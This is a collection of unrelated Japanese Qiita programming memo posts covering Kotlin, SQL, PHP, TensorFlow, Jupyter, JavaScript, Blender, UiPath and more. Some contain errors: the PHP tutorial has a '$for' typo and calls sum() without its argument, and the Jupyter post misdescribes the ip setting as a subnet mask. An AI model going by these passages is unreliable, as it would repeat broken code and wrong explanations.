OmniAICreator/Qiita-1.07M huggingface dataset:
Kotlin覚え書き

#何の記事？
Kotlinでアプリ開発をしていく中で調べたことを備忘録的にまとめる。
※調べる度に追記します

#覚え書き
##基本文法
###when文
```kotlin

val value = 2

when (value) {
    0 -> {// valueが0の場合の処理}
    1 -> {// valueが1の場合の処理}
    2 -> {// valueが2の場合の処理(今回はここに入る)}
    else -> {// 上記のcase文に入らなかった場合の処理}
}
```
###for文

```kotlin
    for (i in 1..100) println(i)

    for (i in 1..100) {
        println(i)
    }
```

【参考】
https://qiita.com/NagaokaKenichi/items/b68b699dc0b792754d7b

##LinearLayout
・項目をいい感じに並べたい時に使う
・verticalとhorizontalがある

【参考】
https://techacademy.jp/magazine/4455


###layout_weight
・LinearLayoutで項目を横並びにした時にそれぞれの項目の閉める割合を決定する

【参考】
https://android.keicode.com/basics/ui-layout-weight.php

##ViewPager2
・ベージをめくるみたいな処理を可能にする
・やること
　①ビューを作成する
　②フラグメントを作成する
　③ViewPager2を追加する
　④アクティビティでごにょごにょする
・習うより動かしてみて慣れてみたほうがいい（何事も） 
　↓
【参考】
https://developer.android.com/training/animation/screen-slide-2?hl=ja


##AlertDialog
・アプリ内でダイアログを表示する方法

```kotlin


AlertDialog.Builder(this)
    .setTitle("タイトル")
    .setMessage("YESかNOを選択してください")
    .setPositiveButton("YES") { dialog, which ->
        //Yesを押した時の処理
    }
    .setNegativeButton("NO") { dialog, which ->
        //Noを押した時の処理
    }
    .show()
```

##画面遷移時の値渡し
・intentにputExtraで値を詰め込むことができる

【参考】
https://qiita.com/Takarkiz/items/61f7b1a8fe6a41ae171d

##TextViewに値を設定する
・普通に.textに設定できる

```kotlin

textView.text = "sample_text"
```



【参考】
https://hirauchi-genta.com/kotlin-textview/

##RecyclerView
・同じ形式のビューを繰り返し複数表示する

【参考】
https://developer.android.com/guide/topics/ui/layout/recyclerview?hl=ja
サクッとJSON形式のschema情報(bigquery用)を抽出するクエリ


既存の他DBのスキーム情報からサクッとJSON形式のレイアウト情報を抽出するクエリです。

### 用途
bigqueryへのテーブル新規登録時のJson形式レイアウトをテーブルから取得したい時などに利用

```sql

SELECT  
  '[' || ARRAY_JOIN(
            ARRAY_AGG('{"name":"' || column_name || '", "type":"' || data_type || '", "mode": "' || is_nullable || '"}') 
            , ','
            ) 
  || ']'
FROM  
  (
  SELECT  
    column_name
    , CASE WHEN data_type = 'varchar' 
              THEN 'string' 
          WHEN data_type = 'double'
              THEN 'float'
          WHEN data_type = 'bigint'
              THEN 'integer'
              ELSE data_type 
      END AS data_type
    , CASE WHEN is_nullable = 'YES' 
              THEN 'nullable' 
              ELSE 'required' 
      END AS is_nullable
  FROM  
    information_schema.columns 
  WHERE 
    -- 以下にDB名とテーブル名を入れてクエリ実行すればJSON形式のレイアウトを取得可能
    table_schema || '.' || table_name = 'DB.table'
  )
  

```

bigquery触りたての頃は、既存のDB（mysqlとか）からデータ持ってくのに、Excelとかスプレッドシートをうまく使ってjsonレイアウト作ってたのですが、このクエリのおかげでかなり工数削減できるようになりました。
PRESTOで作ってあるので、ほかのDBでは試してないのですが、少し直せばいけると思われます。
UTPC 2013 H Asteroids2 牛ゲー

##問題
https://atcoder.jp/contests/utpc2013/tasks/utpc2013_08
##見た感じ
競プロ界隈で「***牛ゲー***」と呼ばれる問題ジャンルがあるのをご存じですか？？
変数が2個しか現れない線形な不等式がいっぱい与えられたとき、それを最短路問題に見立てて解くというジャンルの問題ですね。
今回はその牛ゲーの問題みたいです。
今回、条件は、横の左から$i$列目に出力$s_i$、上から$j$行目に出力$t_i$のレーザー銃を置いたとすると、

```math
0\leq s_i\\
0\leq t_i\\
s_i \leq p_i\\
t_i \leq q_i\\
a_k \leq s_{x_k}+t_{y_k}\\
 s_{x_k}+t_{y_k}\leq b_k
 ```
を満たすような{$s_i , t_i$}はありますか？という問題になります。
これを線形計画問題の要領で、新たな変数$z$を加えて、$T_i=-t_i$として変数変換すると、

```math
z\leq s_i +0 \\
T_i\leq z + 0\\
s_i \leq z+p_i\\
z \leq T_i + q_i\\
T_{y_k} \leq s_{x_k}- a_k\\
 s_{x_k}\leq T_{y_k} + b_k
 ```
こんな形に変形できます。ここで$z$は$z=0$にできるときのみ元の条件を満たす{$s_i , t_i$}が存在しますよ、
という意味での形だけの変数です。
こんな感じで、線形計画法では不等式を新たな変数とかを足したりして、書き換える操作が多々出てきます。
あと、上の不等式は全部$x\leq y + a$という形になっており、これはグラフの最短距離$d[.]$でv->wへの辺eでの$d[v]\leq d[w]+e.cost$が成り立っていることから、最短距離を求める問題として一つの解($d[v]-d[start]$が最小になる解)を計算することができます。
もし負閉路があれば、上の不等式を満たす解は存在しません。
##解放
不等式を整理して、最短経路問題として解く。
負の閉路が存在すれば、no。
ほかはyesでいける。
##ソースコード
```c++
const int N_MAX=1005;
vll  mem,p,q,d;
int n,m;
edges v;

void Main(){
    int x=0,y=INF10,z=1;
    //入力
    cin>>n>>m;
    rep(i,n){
        cin>>x;
        p.pb(x);
        v.pb(edge(0,i+1,0));
        v.pb(edge(i+1,0,x));
    }
    rep(i,n){
        cin>>x;
        q.pb(x);
        v.pb(edge(n+i+1,0,0));
        v.pb(edge(0,n+i+1,x));
    }
    int a,b;
    rep(i,m){
        cin>>x>>y>>a>>b;
        v.pb(edge(y+n,x,-a));
        v.pb(edge(x,y+n,b));
    }
    //処理
    d.resize(2*n+1,INF15);
    d[0]=0;
    rep(i,n+1){
        bool tof=false;
        arep(w,v){
            if(d[w.from]!=INF15&&minin(d[w.to],d[w.from]+w.cost)){
                tof=true;
            }
        }
        if(!tof)break;
        if(d[0]<0){
            cout << "no" <<endl;
            return;
        }
    }
    //出力
    cout << "yes" <<endl;
    
}

int main(){
    cin.tie(nullptr);
    cout<<fixed<<setprecision(12);
    Main();
}
```
Kaspersky Security Cloud FreeをインストールしたらWSL(Ubuntu)が0x80070422

# Kaspersky Security Cloud FreeをインストールしたらWSL(Ubuntu)が0x80070422

## またお前かKaspersky

Kasperskyの無料版がEOSになるというメッセージが出てくるようになったのでKaspersky Security Cloud FreeにアップグレードしてみたところWSL(Ubuntu)が0x80070422を吐き出して起動しなくなった話
そういえばインストール時にWSLがなんとかかんとかと表示が出ていたような。。。

## 対処法

1. タスクバーにKasperskyのアイコンがいるはずなので右クリックしてKaspersky Security Cloud
2. メイン画面からMore Tools
3. Weak settings controlとかいうやつがあるはず
4. No Weak setting of the operating system detected とかいうリンク状のところを開く
5. Windows : running Linux application is enable というのがあれば ignore▼
6. ついでに再起動しておく 

ついでに資料
[https://support.kaspersky.com/weaksettings/tsw.avz.11?cid=SAAS_20.0&utm_source=interceptor&utm_medium=product&utm_campaign=SAAS_20.0](https://support.kaspersky.com/weaksettings/tsw.avz.11?cid=SAAS_20.0&utm_source=interceptor&utm_medium=product&utm_campaign=SAAS_20.0)
Playを押すたびに"Processing Addressable Group"と表示される。

やあ

備忘です。

あなたのAddressableのソースは毎回[Play!]を押すたびにビルドされてます。
※私はビルドする必要があるかチェックしているのも含めて"ビルド"と呼んでます。

おおきく３つ手順があります。

１．プレイモードの変更
２．プロファイルの設定
３．Addressableのビルド

####１．プレイモードの変更
以下のように変更して下さい。
Play Mode Script > Use Existing Build(requires build groups)

![changethis.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/353494/906fab5e-518f-c7e7-d3c3-ff5118160d81.png)

####２．プロファイルの設定
適当なフォルダにビルドパス、ビルドローカルパスを変更します。
![changethis.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/353494/e2587cd8-6598-45b5-9077-fc298b668372.png)

####３．Addressableのビルド
Addressableのソース？を変更したら毎回実行してください。
![changethis.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/353494/17c07c25-9999-dcab-5e02-ac320fbf7bf6.png)

以上です。
HTMLの基本（備忘録）

###HTMLの概要
Hyper text markup languageの略。
Web上の文書を記述するためのマークアップ言語。

マークアップとは？
文章がどのような構造になっているかを明確化する作業のこと。
どこが見出して、何がリンクなのか、構造化すること。

###HTMLの基本
HTMLの冒頭に、この文書はHTMLで書かれていることを宣言するDOCTYPE宣言が必要。
これ→　<!DOCTYPE html>

コメント　<!-- ここに文書 --> 

<html lang="ja">　言語を表す。 ja=日本語

< > HTMLタグ
開始タグから始まり、内容を挟んで、終了タグまでが1つのまとまり
このまとまりを要素と呼ぶ。タグ内に文字を要素名という。

###head と body
HTML文書の中身を大きく分けるとhead要素とbody要素

head要素内には文書に関する「メタ情報」
body要素には「コンテンツ」

メタ情報には、ページタイトル、外部スタイルシートの場所、外部JavaScriptファイルの場所、文字エンコーディング情報、ページの概要
meta charset="UTF-8" も忘れずに記述〜。
PHPでデータサイズを単位付きに変換する(KB・MBなど)

```php
function byte_format($size=0, $units=['byte','KB','MB','GB','TB']): string
{
	for ($i = 0; 1024 < $size; $i++) {
		$size /= 1024;
	}
	return round($size) . ' ' . $units[$i];
}
```

これでどうでしょう？
TensorFlow 2 メモ: TensorFlow2.0 にTensorFlow-addonsをインストールする

画像認識のタスクでデータ拡張（水増し）をするために画像の回転を行いたいが，Tensorflow coreには９０度ごとの回転をする関数しか提供されていない．拡張パッケージのTensorFlow addons には [tfa.image.rotate()](https://www.tensorflow.org/addons/api_docs/python/tfa/image/rotate) という任意の角度回転できる関数あるので，これをインストールして使いたい．

## 環境 
- macOs Catalina + Anaconda 
- TensorFlow2.0 

## 問題点
MacのAnacondaを使ってTensorFlowの環境を準備している． mac版Anacondaでは(2020/7/9)の時点でtensorflow-2.0までしか用意されていないらしい（Linuxでは最新の２．２が用意されている)．

anacondaのpipを使ってtensorflow-addons(0.10)をインストールすると， インポートしたときにエラーがでる．

```
import tensorflow as tf
import tensorflow_addons as tfa
```
 
```
/(path)/opt/anaconda3/envs/tf2/lib/python3.7/site-packages/tensorflow_addons/utils/ensure_tf_install.py:68: UserWarning: Tensorflow Addons supports using Python ops for all Tensorflow versions above or equal to 2.2.0 and strictly below 2.3.0 (nightly versions are not supported). 
 The versions of TensorFlow you are currently using is 2.0.0 and is not supported. 
Some things might work, some things might not.
If you were to encounter a bug, do not file an issue.
If you want to make sure you're using a tested and supported configuration, either change the TensorFlow version or the TensorFlow Addons's version. 
You can find the compatibility matrix in TensorFlow Addon's readme:
https://github.com/tensorflow/addons
  UserWarning,
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "(path)/opt/anaconda3/envs/tf2/lib/python3.7/site-packages/tensorflow_addons/__init__.py", line 21, in <module>
    from tensorflow_addons import activations
  File "(path)/opt/anaconda3/envs/tf2/lib/python3.7/site-packages/tensorflow_addons/activations/__init__.py", line 17, in <module>
    from tensorflow_addons.activations.gelu import gelu
  File "(path)/opt/anaconda3/envs/tf2/lib/python3.7/site-packages/tensorflow_addons/activations/gelu.py", line 27, in <module>
    @tf.keras.utils.register_keras_serializable(package="Addons")
AttributeError: module 'tensorflow_core.keras.utils' has no attribute 'register_keras_serializable'
```

エラーメッセージおよび [tensorflow-addons のgithub](https://github.com/tensorflow/addons)によると，addonsの最新版はTensorflow2.2対応であり，2.0には対応していないらしい．
これを解消するためには，Tensorflowのバージョンを上げるか，tensorflow-addonsのバージョンを下げるかしかない．

## 暫定的な解決策 work around
今回はtensorflow-addonsのバージョンを下げる（古いバージョンを入れる）ことで対応した．

```
pip uninstall tensorflow-addons
pip install tensorflow-addons==0.6
```
これでエラーはでなくなる．
PHP 関数とは？一緒にやってみましょう！！

#最初に
これは初心者からフルスタックエンジニアを目指す男の備忘録である:point_up:

#目次
⑴ 関数とは？ 
⑵ 関数で覚えておきたい３つのこと
⑶ ユーザ定義関数の基本的な書き方
⑷ 実際に関数を実行
 

##⑴ 関数とは？

あるデータが返される（IN）:point_left:
それに応じて
あるデータを返す（OUT）機能のこと:point_right:

２つに分けることができる
▶︎ 内部（ビルトイン）関数
　phpにデフォルトで用意されている関数。

▶︎ ユーザ定義関数
　独自に作成した関数

実際に使っていくことになるのは「ユーザ定義関数」になるかと思います。

##⑵ 関数で覚えておきたい３つのこと

▶︎ 引数
　関数に渡されるデータのこと

▶︎ 仮引数
　関数に渡す際に変数のような箱を設置してあげるデータのこと

▶︎ 返り値（戻り値）
　関数から返ってくるデータのこと

##⑶ ユーザ定義関数の基本的な書き方

```
▶︎ 関数を定義
　function 関数名(引数) {
    return 返り値;
｝

```
↑ だけでは定義しただけなので実行を行う

```
▶︎　関数を実行
　　関数名(引数); 
```

これが基本的な書き方になる。
しっかりここを頭に入れておこう！

## ⑷実際に関数を実行
環境構築が面倒な方は、Paiza を使用することをおすすめ 
URL: https://paiza.io/ja/projects/new

実戦に入る前にこれだけは注意。

※ 関数一つに一つの機能のみを持たせる
何故ならば、わかりやすくするためです。一つの関数にたくさんあったら訳が分からなくなってしまいますからね。

sum 関数を作ってみる
お題は「１〜１０までを足した値を返す関数」です。

```
<?php
// 1〜10 までを足した値を返す関数
function sum(){
　　
　　 // $result は結果を保存する変数    
    $result = 0;
　　 
　　 // $i は １から始まり $max より大きくなるまでループする
    $for($i = 1; $i <=10; $i++){
    　　 
　　 // $result に $i を順番に足していく
    $result += $i;
    }

    return $result;
}

?>
```

定義しました！
実際に実行してみます。

何も表示されない。。

何故なら、「関数を定義しただけ」だからです。
関数は定義しただけでなk、実行することで初めて呼び出すことが可能です。

それでは実際に呼び出してみたいと思います。

先ほどのコードに以下を入力

```
// 関数を実行する
echo sum();
```

もう一度実行

```
$ php sum.php
55
```
表示できました。٩( ᐛ )و
これは１から１０までを足した結果が表示された訳です。

しかしこの関数では味気がない。。
１から１０まで計算してくれる関数なんて使う要素が見当たらないです。

そしたら少し高性能にしてみたいと思います。

ここで使用するのは上記で説明した「仮関数」です。
実際にコードを書いてみます。

```
<?php
// 1〜$max までを足して結果を返す関数
function sum($max) {
    $result = 0;

    // $i は1から始まり、$max より大きくなるまでループする
    for($i = 1; $i <= $max; $i++ ){
        $result += $i;
    }

    return $result;
}

// 関数を実行
echo sum();
?>
```

できました٩( ᐛ )و
今回は sum 関数には仮引数の $max を設定したので、
幾つの値までを足すかを教えてあげる為に、実行するときに
$maxの値を教えておきます。

```
echo sum(100);
```

実行してみます。

```
$ php sum .php
5050
$
```

１から１００までを足した値を計算することができました。٩( ᐛ )و



これで任務完了
楽しく学習それが
プログラミングを学ぶ醍醐味！！！

ではまた！
jupyter notebookを別のhostから接続して使う

 jupyter notebookをローカルエリアのマシンから利用する。

違う環境で動作確認とかする為に以下のjupterを別のマシンから使えるようにしたメモ
- macOS 15.5 
- ubuntu 20.4

やり方は同様です
Anacondaで導入した物でも。pipでjupterを導入しても同じです

ホームの.jupyterディレクトリに、jupyter_notebook_config.pyを置いて設定を書くだけです。
~/.jupyter/jupyter_notebook_config.py

作らせる：

```
 jupyter notebook --generate-config
```


手動で書いても良い


パスワード　shaの作成

```
$ ipython
In [1]: from IPython.lib import passwd                                          
In [2]: passwd()             
Enter password: 
Verify password: 
Out[2]: 'sha1:abc345fgyy...........................'
```

このsha1:の値を使うのでメモっておく

jupyter_notebook_config.py

```python
c = get_config()
c.IPKernelApp.pylab = 'inline'
c.NotebookApp.ip = '0.0.0.0'
c.NotebookApp.open_browser = False
c.NotebookApp.port = 8888
c.NotebookApp.password = u'sha1:abc345fgyy........................'
```

説明：
c.NotebookApp.ip は、サブネットマスク指定です
0.0.0.0 は全てです。
255.255.255.0  では256のNetworkです 192.168.x.xのnetwork等に使う

c.NotebookApp.open_browserは、serverを上げたときにbrowserを起動するかです
c.NotebookApp.portは、接続ポートです。8080とか、8880とかご自由に

あとは、他のhostのブラウザーから
server_address:8888
で接続すると、パスワードを聞かれます、
JavaScript 基礎 サイコロ

## サイコロ 

**HTML**

```html
<form>
  <input type="button" value="サイコロ" onClick="altRan2()">
  <span id="sai">-</span>
</form> 
```

**JavaScript**

```javascript

function altRan2() {
  var r = Math.floor(Math.random() * 6) + 1;

  document.getElementById('sai').innerHTML = r;
}
```

### Math.floor()
引数として与えた数以下の最大の整数を返します。
>https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/floor

### Math.random()
0–1（0以上、1未満）の範囲で浮動小数点の擬似乱数を返す
>https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/random

### element.innerHTML
Element オブジェクトの innerHTML プロパティは、要素内の HTML または XML のマークアップを取得したり設定したりする
>https://developer.mozilla.org/ja/docs/Web/API/Element/innerHTML
Javascriptで日付の連動更新をする

#命題
JavaScriptを使って、二つ（以上）ある`<input type="date">`の一方が更新されたとき、もう片方を同じ値にしたい。
ブラウザはChrome 83を使用。

##想定される使用例
検索期間を2組の`<input type="date">`で表し、例えば検索終了日を変更した際に、検索開始日より過去の日付だったら開始日を終了日と同じにする。

```HTML:HTMLサンプル
<div>
  検索期間: <input id="DateSince" name="DateSince" type="date" value="2020-07-10">
  ～
  <input id="DateUntil" name="DateUntil" type="date" value="2020-07-10">←こちらを変更すると左側の日付も変わります。
</div>
```

具体的には上記のコードで、DateUntilを2020-7-09に変更した場合、DateSinceも2020-7-09に書き換わるようにする。

実際の実装では逆の処理(DateSinceをDateUntilより未来にした場合、DateUntilをDateSinceと同じ値にする)も必要だが、説明簡略化のために省く。

#具体的な方法
イベント自体の作成は簡単。

```JavaScript:DateUntil「変更」時に発生させるJSイベント
function dateUntilChanged(e) {
  const dateSince = document.getElementById("DateSince");
  const value = e.target.value;
  if (dateSince.value < value) {
    dateSince.value = value;
  }
}
```

問題はこのイベントをどのタイミングで発火させるかである。

##ダメな例: changeイベントを使う
変更されたのなら素直に`change`イベントを使えばいいじゃん、とついつい考えてしまいがちだが、それは残念ながら間違い。

```JavaScript:changeイベントを使用したJS
document.getElementById("DateUntil").addEventListener("change", dateUntilChanged);
```

こうすると~~(少なくともChromeでは)~~DateUntilが打鍵されるたびにイベントが発火するので、「2020」とキーボード入力する際に2→0→2→0と入力するためにDateSinceが0002年になってしまう(当然、日付の変更条件は満たされなくなるので、0002年のまま変更されない)。

この動作は正直言って好ましくない。イベントをいちいち発火するコストも問題だ。

##よりよい例: blur(フォーカスアウト)イベントを使う
入力されるたびにイベントを発生させるのではなく、Dateの入力が完了した後、Tabキーや`<input type="date">`の外部をクリックすると起こるようなイベントがあればいい。
そこで登場するのが[blurイベント](https://developer.mozilla.org/ja/docs/Web/API/Element/blur_event)だ。

blurといきなり言われても分かりづらいので(個人的には[ブリットポップのバンド](https://ja.wikipedia.org/wiki/%E3%83%96%E3%83%A9%E3%83%BC)を思い出す)説明すると、ある要素からフォーカスが外れた際に(別のところをクリックするなど)発生するイベントのこと。
要はblur(ぼやけるの意)がfocusの対義語だから、フォーカスアウトするイベントをそう呼んでいるらしい。

```JavaScript:blurイベントを使用した例
// 前掲例のchangeをblurに変えただけ
document.getElementById("DateUntil").addEventListener("blur", dateUntilChanged);
```

~~Chromeでは、~~デートピッカーを抜け出しただけではblurイベントが発生しないので注意！
(`<input type="date">`の年の部分が選択されているため)
ほかの箇所をクリックした時点でblurが発火するので、実用上はそこまで問題ではない。
私が使った場面は`<form>`で検索期間を指定して「検索」ボタン押下というシナリオだったので、この問題は無視できた。

#おさらい(CodePen)
<p class="codepen" data-height="265" data-theme-id="light" data-default-tab="js,result" data-user="NagayamaToshiaki" data-slug-hash="ExPRaqz" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="Javascriptで日付の連動更新をする">
  <span>See the Pen <a href="https://codepen.io/NagayamaToshiaki/pen/ExPRaqz">
  Javascriptで日付の連動更新をする</a> by Nagayama Toshiaki (<a href="https://codepen.io/NagayamaToshiaki">@NagayamaToshiaki</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>

#参考文献
holstetoさんの回答(英語)
[javascript - HTML5 \<input type=“date”\> - onChange Event - Stack Overflow](https://stackoverflow.com/questions/40762549/html5-input-type-date-onchange-event#answer-57467732)

`<input type="date">`が変更された際に発生するイベントについてまとめられています。
この回答に出会わなければこの記事を書けませんでした。

#追記
Firefox 78でも同様の挙動が確認できたので、一部取り消し線を入れました。
CarbonとCarbonImmutableのsetTestNowは別

テストのときに便利な`setTestNow()`ですが、`Carbon::setTestNow()`と`CarbonImmutable::setTestNow()`はそれぞれ効果が独立しています。

別の時刻に設定したいことはないと思うのですが、そういうものなようです。
`CarbonImmutable`にリファクタしたときにテストを直し忘れたのでメモ。
Windowsユーザーが戸惑うMacのショートカットキー

# はじめに
今まで職場ではWindowsばかり使ってきましたが、
この度自宅でMacを本格的に使い始めることになりました。
これまでに何度も繰り返し検索したショートカットキーをまとめます。

# これなに？
![スクリーンショット 2020-07-10 16.15.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/395809/752629d6-8203-edfa-7bb3-adae3132cf8e.png)
メニューを開いたときなど、こんな感じでショートカットを教えてくれているであろう表記に出会うことがあります。
しかしWindowsユーザーにはこの図形の意味が分からないのです。
ということでまずはそれぞれが表すものについて。

| 図形 | キーボード |
|:--|:--|
| ⌘ | command |
| ⇧ | shift |
| ⌥ | option |
| ⌃ | control |
| ⏏ | メディア取り出しキー |
| ⇪ | caps lock |
| ⎋ | escape/esc |
| ⌫ | delete |

`⌥`と`⌃`の意味が特に分からなくてキーボードの隅から隅まで探してしまいした…

# よく使用するショートカットキー

## 全般

#### 画面をロック
`control` + `command` + `q`

## Google Chrome系

#### デベロッパーツールを表示/非表示
`option` + `command` + `i`

#### 今閉じたタブを再表示
`command` + `shift` + `t`

#### リロード
`command` + `r`


## ツール系

#### 画面全体をスクリーンショット
`command` + `shift` + `3` 

#### 範囲選択でスクリーンショット
`command` + `shift` + `4`

キャプチャ画像はデスクトップフォルダに保存されます。
BlenderでFBXエクスポートするときにテクスチャ埋め込みをしたい(実現できなかったので別の方法で埋め込む）

# 概要
タイトルのまま

# 結論
できない。
別の方法でやる

# 別の方法
流れ

- 1:BlenderでFBXエクスポートする
- 2:FBXConvertUIをつかって、テクスチャ埋め込む


# 1:BlenderでFBXエクスポートする
エクスポートするときの設定
PathModeをCopyに、
BatchModeをCollectionにする


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24266/760b8e0c-b146-77b6-e063-af20e38ad38e.png)

エクスポートすると
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24266/c8ee1885-1b51-d54a-98c3-97e8716711aa.png)
みたいになる


# 2:FBXConvertUIをつかって、テクスチャ埋め込む
https://www.autodesk.com/developer-network/platform-technologies/fbx-converter-archives
からダウンロードする
１で出力したFBXファイルとテクスチャフォルダを
このソフトにドラッグする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24266/9bab5088-370d-e0a9-549d-9cdcd68e1579.png)
このソフトFBXを変換するときに
**Embededmediaにチェックを入れる**
そして、Covertボタンを押すだけ
[翻訳]データサイエンスのスキルをアピールする人生のプロジェクト

# What is this
データサイエンティストに求められるスキルが非常に幅広く、まんべんなく習得するには時間と労力がかかることは誰しもが納得することだと思います。また、幅広いそれぞれのスキルについて、自分自身のスキルレベルを第三者に伝えていくことも非常に難しいです。

"データサイエンスのMOOC[^1]を修了したけれども、次に何をしたら良いか？"という問いに対して、**自分自身のスキルを証明できる仕事を続けるべし**という[英語記事](https://towardsdatascience.com/the-most-important-data-science-project-458d016ef8a6)の内容が個人的に納得感があったため、日本語で要約して紹介します。
（私自身、翻訳/要約を専門としている者ではないため、かなり誤訳及び私見が混ざった要約担ってしまっていると思います。もし間違い等あればご指摘頂けると嬉しいです！）

# 原文
原文：[The Most Important Data Science Project](https://towardsdatascience.com/the-most-important-data-science-project-458d016ef8a6)

# 以下、翻訳・要約です
## はじめに
* データサイエンスのスキルを身に着けたら、次に何をするべきか？
    * もちろんそれは学んだばかりのスキルをプロジェクトで活かすこと
    * だけれども、"どういうプロジェクトを経験するべきか？"という問いは非常に複雑で答えがない。
* １つのアイディアとして、「**自分自身が何をできるのか、どのようにして付加価値を高められるのかを世間に証明すること**」に取り組む
    * ただし、データサイエンスのプロジェクトは最初から最適な解決策を見つけることはできない
        * 自分のスキルを伝えるための最良の方法かどうかはやってみないとわからない
    * しかし、取り組んでみるたびに自分自身のことをより深く知り、誤りを修正していくことができる
* このような物事の見方をすることで、データサイエンティスト志望者の心のストレスを和らげることができるのではないか
    * 仕事の機会を追いかけるのではなく、**市場に多くの価値**を提供できるようになることを目指すべき

## データサイエンスのスキルをアピール（証明）する方法
### 1. 日記を書く
* 日記を書くことは、自分の経験や考えを記録・追跡するのに優れた方法である
* 日々の進捗を記録しておくことで、未来で振り返ったときにスキル（の成長）を証明するツールとなる
* 例えば下記の内容を記録する
    * コード
    * アイデア
    * 思考プロセス
    * 研究
    * 学習
    * 失敗例

### 2. プロジェクトを遂行
* 実際のワークフローを体験することが大切
* 折角モデルを構築したのなら、アプリ・ウェブサイトのようなプロダクトとしてプロジェクトを完遂すべし
* (ジョークとして)タイタニック号のことは忘れるべし

### 3. サマリーの作成
* 他の人があるプロジェクトを通して行った思考の軌跡を共有できるという意味で、サマリーをつくると良い
* 例えば、いくつかの論文を要約すること等

### 4. ケーススタディに取り組む
* ここでのケーススタディとは、「問題から始めて、利用可能な様々な解決策の概要を説明し、その解決策が最適であることを示す実証済みの結果を提供すること」[^2]
* 例えば、下記のようなケーススタディ
    * [Gramener AI Solutions for Nisqually](https://youtu.be/LzdXpUAsO98)
    * [How we scaled data science to all sides of Airbnb over 5 years of hypergrowth](https://venturebeat.com/2015/06/30/how-we-scaled-data-science-to-all-sides-of-airbnb-over-5-years-of-hypergrowth/)

### 5. プレゼンテーションする
* プレゼンテーションは聴衆にトピックを提示するプロセス
    * あるトピックについての理解を他人に示すことができる
    * データサイエンティストにとって重要なスキルの１つである、ソフトスキルの証明にもなる

### 6. ブログを書く
* 何かについて書こうと考えると、もっと学びたくなる
* 特に技術的なテーマでは細かい部分にも気を配る必要性があり、学びが早くなる
* あなたが新しいことを学んだ場合、それは他の誰かも知りたい事かもしれない

### 7. コンペに参加する
* だれもが最初に思い浮かぶのはKaggle
    * 実際のデータサイエンスに役立つのかどうかについては多くの議論がある
* しかし重要なことは、学んだテクニックを応用することが実践的な学びとなること
* 現実世界の問題とコンペに違いがあることは事実だが、問題へのアプローチ方法に関して言えば現実世界に最も近い経験を得ることができる

## まとめ
* 自分の価値をアピールすることは、全てに人が参加しなければならない人生のプロジェクトである
    * 単に次の仕事を見つけるためではなく、長期的に取り組まなければならない
* 盲目的に次の仕事をすれば全ての扉が開かれることを期待するのではなく、自分の能力をじっくりと一貫してアピールすることで、大きなブレークスルーを得る確率を高められる
* 学んだスキルをアピールする方法はたくさんあり、決してここに記載されている方法だけではないので、他にもないか考えてみてほしい


[^1]: Massive Open Online Course（大規模公開オンライン講座）
[^2]: 「プロジェクト」と「ケーススタディ」はどう違うの？という気がしますが、プロジェクトは「形にしてみること」、ケーススタディは「課題を解決してみること」と理解しました。当然、この２つはきれいに分けられるものではなく、互いに関係し合うものだと思います。
UiPath：言語コードによる、DateTime.ToLongDateString()などの出力内容（興味本位その２）

## 皆もすなるQiitaといふものを、儂もしてみむとてするなり。

と言う訳で、こん＊＊は！はなっち！です。

前回、[UiPath：言語コードによる、DateTime.ToLongDateString()などの出力内容（興味本位）](https://qiita.com/HANACCHI/items/2b69662eace7b1a33097)を書きましたが、実に沢山の言語があり、地域があり。こんな出力内容があったら、どんな言語コード？地域？って思って、出力内容を集計してみました。

####【入力データ】
行番号、言語、地域から各メソッドで出力させた日付の内容列（Short,Long,.ToString()のみ）のExcelシート

####【集計方法】
入力データが格納されているExcelシートから、Excelでピボットテーブルを３つ作成
１）ピボット行（Short表示）、ピボット値（Short表 / 個数、行番号 / 最小値）
２）ピボット行（Long表示）、ピボット値（Short表 / 個数、行番号 / 最小値）
３）ピボット行（｡ToString表示）、ピボット値（Short表 / 個数、行番号 / 最小値）
※行番号 / 最小値は、最初に使用された言語、地域を参照表示させるため）

####【結果】
その１）Short表示
・一番使われているのは、イナリ地域で使われているサーミ語を始め、22地域の`d.M.yyyy H:mm`である
・日本に関して言えば、同じ出力内容の言語地域はない
・未設定の場合、`MM/dd/yyyy HH:mm`である
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/669015/2eb4c3e7-4f96-c318-e2cc-aba369daae67.png)

その２）Long表示
・一番使われているのは、アルゼンチン地域で使われているスペイン語を始め、16地域の` 曜日 d M yyyy HH:mm:ss a.m./p.m.`である
・日本に関して言えば、簡体字圏の中国語を始め、6地域の`yyyy年M月d日 H:mm:ss`である
・未設定の場合、`曜日 dd mmm yyyy HH:mm:ss`である
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/669015/a7800ec4-8309-1192-0f6e-5645fdbb89e3.png)

３）ピボット行（｡ToString表示）、ピボット値（Short表 / 個数、行番号 / 最小値）
・一番使われているのは、イナリ地域で使われているサーミ語を始め、22地域の`d.M.yyyy H:mm:ss`である
・日本に関して言えば、バスク地域のバスク語を始め、2地域の`yyyy/MM/dd H:mm:ss`である
・未設定の場合、`MM/dd/yyyy HH:mm:ss`である
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/669015/6a7545ac-0686-73bd-ccd1-10c57d59a632.png)

#### 色んな言語、色んな地域の出力内容になるのね。。。へぇ～～


##おわりに
いかがでした？
DateTime型はExcelシート上の日付でフィルタリング範囲に使ってみたり、先の例のように業務で管理単位とするなど、様々なシーンで扱うことが多い**型**です。更に画面表示させたり、デバッグ時のエヴィデンスとしてログに出力させる時も多いでしょうから、この言語コードを意識すれば、完璧！！是非UiPathでのロボ開発の一助になればと思っています。

ありがとうございました！
